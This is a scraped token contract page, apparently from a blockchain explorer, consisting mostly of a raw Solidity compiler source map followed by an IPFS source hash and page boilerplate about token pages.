;;;;;;6137:119;8735:13;:27;;;;:::i;:::-;:45;;8705:145;;;;-1:-1:-1;;;8705:145:0;;10851:2:1;8705:145:0;;;10833:21:1;10890:2;10870:18;;;10863:30;10929:28;10909:18;;;10902:56;10975:18;;8705:145:0;10649:350:1;8705:145:0;8869:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8518:378;8922:9;;-1:-1:-1;;;;;8916:15:0;;;8922:9;;8916:15;:40;;;;-1:-1:-1;;;;;;8935:21:0;;8951:4;8935:21;;8916:40;8912:227;;;8989:134;9119:3;8989:103;9040:16;;9028:9;;:28;9027:64;;9076:15;;9027:64;;;9060:13;;8989:11;;:37;:103::i;:134::-;8977:146;;8912:227;9204:4;9155:28;6230:18;;;:9;:18;;;;;;9250:6;;;;;;;9249:7;:43;;;;-1:-1:-1;9283:9:0;;-1:-1:-1;;;;;9277:15:0;;;9283:9;;9277:15;9249:43;:75;;;;-1:-1:-1;9313:11:0;;;;;;;9249:75;:136;;;;;9368:17;;9345:20;:40;9249:136;:187;;;;;9418:18;;9406:9;;:30;9249:187;9227:527;;;9471:74;9488:56;9492:11;9505:38;9509:20;9531:11;;9505:3;:38::i;:::-;9488:3;:56::i;:::-;9471:16;:74::i;:::-;9593:21;9637:22;;9633:106;;9684:35;9697:21;9684:12;:35::i;:::-;9452:302;9227:527;8351:1414;8293:1472;-1:-1:-1;;;;;9782:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9810:22:0;;;;;;:18;:22;;;;;;;;9782:50;9781:77;;;;-1:-1:-1;;;;;;9837:21:0;;9853:4;9837:21;;9781:77;:100;;;;-1:-1:-1;;;;;;9862:19:0;;9876:4;9862:19;;9781:100;9777:162;;;9915:12;9898:14;:29;9777:162;-1:-1:-1;;;;;9954:24:0;;;;;;:18;:24;;;;;;;;9953:25;:52;;;;-1:-1:-1;;;;;;9983:22:0;;;;;;:18;:22;;;;;;;;9982:23;9953:52;9949:1074;;;10032:9;;-1:-1:-1;;;;;10032:9:0;;;10026:15;;;;10022:990;;-1:-1:-1;;;;;10098:21:0;;10062:33;10098:21;;;:15;:21;;;;;10192:14;;10168:21;;:38;;10192:14;10168:38;:::i;:::-;10138:27;;;:68;10252:15;10225:24;;;;:42;10022:990;;;-1:-1:-1;;;;;10346:19:0;;;10308:35;10346:19;;;:15;:19;;;;;10388:9;;10346:19;;10388:17;;;:9;;:17;10384:613;;10434:23;;;:28;10430:235;;10539:9;;10517:18;;:31;;:124;;10629:12;10517:124;;;-1:-1:-1;;10517:124:0;10491:150;;10430:235;10384:613;;;-1:-1:-1;;;;;10749:21:0;;10713:33;10749:21;;;:15;:21;;;;;10799:23;;:27;;10797:81;;-1:-1:-1;10855:23:0;;10831:21;;:47;10797:81;10793:185;;;10933:21;;10907:47;;10793:185;10690:307;10384:613;10289:723;10022:990;11035:48;11050:4;11056:2;11060:9;11071:11;11035:14;:48::i;:::-;7891:3200;7817:3274;;;:::o;2329:190::-;2415:7;2451:12;2443:6;;;;2435:29;;;;-1:-1:-1;;;2435:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2475:9:0;2487:5;2491:1;2487;:5;:::i;:::-;2475:17;2329:190;-1:-1:-1;;;;;2329:190:0:o;12322:483::-;5380:6;:13;;-1:-1:-1;;5380:13:0;;;;;12424:16:::1;::::0;;12438:1:::1;12424:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12424:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12424:16:0::1;12400:40;;12469:4;12451;12456:1;12451:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12451:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12495:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12495:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12451:7;;12495:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12485:4;12490:1;12485:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12485:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12560:15:::1;::::0;12528:62:::1;::::0;12545:4:::1;::::0;12560:15:::1;12578:11:::0;12528:8:::1;:62::i;:::-;12601:15;::::0;:196:::1;::::0;-1:-1:-1;;;12601:196:0;;-1:-1:-1;;;;;12601:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12682:11;;12601:15:::1;::::0;12724:4;;12751::::1;::::0;12771:15:::1;::::0;12601:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5416:6:0;:14;;-1:-1:-1;;5416:14:0;;;-1:-1:-1;;;;12322:483:0:o;12983:92::-;13040:10;;:27;;-1:-1:-1;;;;;13040:10:0;;;;:27;;;;;13060:6;;13040:10;:27;:10;:27;13060:6;13040:10;:27;;;;;;;;;;;;;;;;;;;2527:136;2585:7;2612:43;2616:1;2619;2612:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2605:50;2527:136;-1:-1:-1;;;2527:136:0:o;2075:246::-;2133:7;2157:1;2162;2157:6;2153:47;;-1:-1:-1;2187:1:0;2180:8;;2153:47;2210:9;2222:5;2226:1;2222;:5;:::i;:::-;2210:17;-1:-1:-1;2255:1:0;2246:5;2250:1;2210:17;2246:5;:::i;:::-;:10;2238:56;;;;-1:-1:-1;;;2238:56:0;;12950:2:1;2238:56:0;;;12932:21:1;12989:2;12969:18;;;12962:30;13028:34;13008:18;;;13001:62;-1:-1:-1;;;13079:18:1;;;13072:31;13120:19;;2238:56:0;12748:397:1;2671:132:0;2729:7;2756:39;2760:1;2763;2756:39;;;;;;;;;;;;;;;;;:3;:39::i;6590:253::-;-1:-1:-1;;;;;6699:15:0;;;;;;:9;:15;;;;;;:32;;6719:11;6699:19;:32::i;:::-;-1:-1:-1;;;;;6681:15:0;;;;;;;:9;:15;;;;;;:50;;;;6758:13;;;;;;;:30;;6776:11;6758:17;:30::i;:::-;-1:-1:-1;;;;;6742:13:0;;;;;;;:9;:13;;;;;;;:46;;;;6804:31;;;;;;;;;;6823:11;1361:25:1;;1349:2;1334:18;;1215:177;12207:107:0;12264:7;12296:1;12292;:5;12291:15;;12305:1;12291:15;;;-1:-1:-1;12301:1:0;12207:107;-1:-1:-1;12207:107:0:o;11558:307::-;11711:17;11731:47;11749:4;11755:11;11768:9;11731:17;:47::i;:::-;11711:67;-1:-1:-1;11789:68:0;11809:4;11815:2;11711:67;11830:26;:11;11846:9;11830:15;:26::i;:::-;11789:19;:68::i;:::-;11700:165;11558:307;;;;:::o;2811:189::-;2897:7;2932:12;2925:5;2917:28;;;;-1:-1:-1;;;2917:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2956:9:0;2968:5;2972:1;2968;:5;:::i;1888:179::-;1946:7;;1978:5;1982:1;1978;:5;:::i;:::-;1966:17;;2007:1;2002;:6;;1994:46;;;;-1:-1:-1;;;1994:46:0;;13352:2:1;1994:46:0;;;13334:21:1;13391:2;13371:18;;;13364:30;13430:29;13410:18;;;13403:57;13477:18;;1994:46:0;13150:351:1;11099:451:0;11280:10;;11232:7;;;;-1:-1:-1;;;;;11280:10:0;;;11272:18;;;;:63;;11307:11;;:28;;11323:11;11307:15;:28::i;:::-;11272:63;;;11293:11;11272:63;11252:83;-1:-1:-1;11350:11:0;;11346:170;;11423:4;11405:24;;;;:9;:24;;;;;;:39;;11434:9;11405:28;:39::i;:::-;11396:4;11378:24;;;;:9;:24;;;;;;;:66;;;;11464:40;;-1:-1:-1;;;;;11464:40:0;;;;;;;11494:9;1361:25:1;;1349:2;1334:18;;1215:177;11464:40:0;;;;;;;;11346:170;11533:9;11099:451;-1:-1:-1;;;;11099:451:0:o;11873:326::-;-1:-1:-1;;;;;12052:15:0;;;;;;:9;:15;;;;;;:31;;12072:10;12052:19;:31::i;:::-;-1:-1:-1;;;;;12034:15:0;;;;;;;:9;:15;;;;;;:49;;;;12110:13;;;;;;;:32;;12128:13;12110:17;:32::i;:::-;-1:-1:-1;;;;;12094:13:0;;;;;;;:9;:13;;;;;;;:48;;;;12158:33;;;;;;;;;;12177:13;1361:25:1;;1349:2;1334:18;;1215:177;12158:33:0;;;;;;;;11873:326;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6139:277::-;6206:6;6259:2;6247:9;6238:7;6234:23;6230:32;6227:52;;;6275:1;6272;6265:12;6227:52;6307:9;6301:16;6360:5;6353:13;6346:21;6339:5;6336:32;6326:60;;6382:1;6379;6372:12;6421:184;6491:6;6544:2;6532:9;6523:7;6519:23;6515:32;6512:52;;;6560:1;6557;6550:12;6512:52;-1:-1:-1;6583:16:1;;6421:184;-1:-1:-1;6421:184:1:o;6610:599::-;-1:-1:-1;;;;;6961:15:1;;;6943:34;;7008:2;6993:18;;6986:34;;;;7051:2;7036:18;;7029:34;;;;7094:2;7079:18;;7072:34;;;;7143:15;;;7137:3;7122:19;;7115:44;6923:3;7175:19;;7168:35;;;;6892:3;6877:19;;6610:599::o;7214:306::-;7302:6;7310;7318;7371:2;7359:9;7350:7;7346:23;7342:32;7339:52;;;7387:1;7384;7377:12;7339:52;7416:9;7410:16;7400:26;;7466:2;7455:9;7451:18;7445:25;7435:35;;7510:2;7499:9;7495:18;7489:25;7479:35;;7214:306;;;;;:::o;10519:125::-;10584:9;;;10605:10;;;10602:36;;;10618:18;;:::i;11004:135::-;11043:3;11064:17;;;11061:43;;11084:18;;:::i;:::-;-1:-1:-1;11131:1:1;11120:13;;11004:135::o;11144:128::-;11211:9;;;11232:11;;;11229:37;;;11246:18;;:::i;11409:127::-;11470:10;11465:3;11461:20;11458:1;11451:31;11501:4;11498:1;11491:15;11525:4;11522:1;11515:15;11541:980;11803:4;11851:3;11840:9;11836:19;11882:6;11871:9;11864:25;11908:2;11946:6;11941:2;11930:9;11926:18;11919:34;11989:3;11984:2;11973:9;11969:18;11962:31;12013:6;12048;12042:13;12079:6;12071;12064:22;12117:3;12106:9;12102:19;12095:26;;12156:2;12148:6;12144:15;12130:29;;12177:1;12187:195;12201:6;12198:1;12195:13;12187:195;;;12266:13;;-1:-1:-1;;;;;12262:39:1;12250:52;;12357:15;;;;12322:12;;;;12298:1;12216:9;12187:195;;;-1:-1:-1;;;;;;;12438:32:1;;;;12433:2;12418:18;;12411:60;-1:-1:-1;;;12502:3:1;12487:19;12480:35;12399:3;11541:980;-1:-1:-1;;;11541:980:1:o;12526:217::-;12566:1;12592;12582:132;;12636:10;12631:3;12627:20;12624:1;12617:31;12671:4;12668:1;12661:15;12699:4;12696:1;12689:15;12582:132;-1:-1:-1;12728:9:1;;12526:217::o
Swarm Source
ipfs://3c224a649681a3f9c1de7c69ed2cd609a1e9a5b9c45efe8b6640523998ede817
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.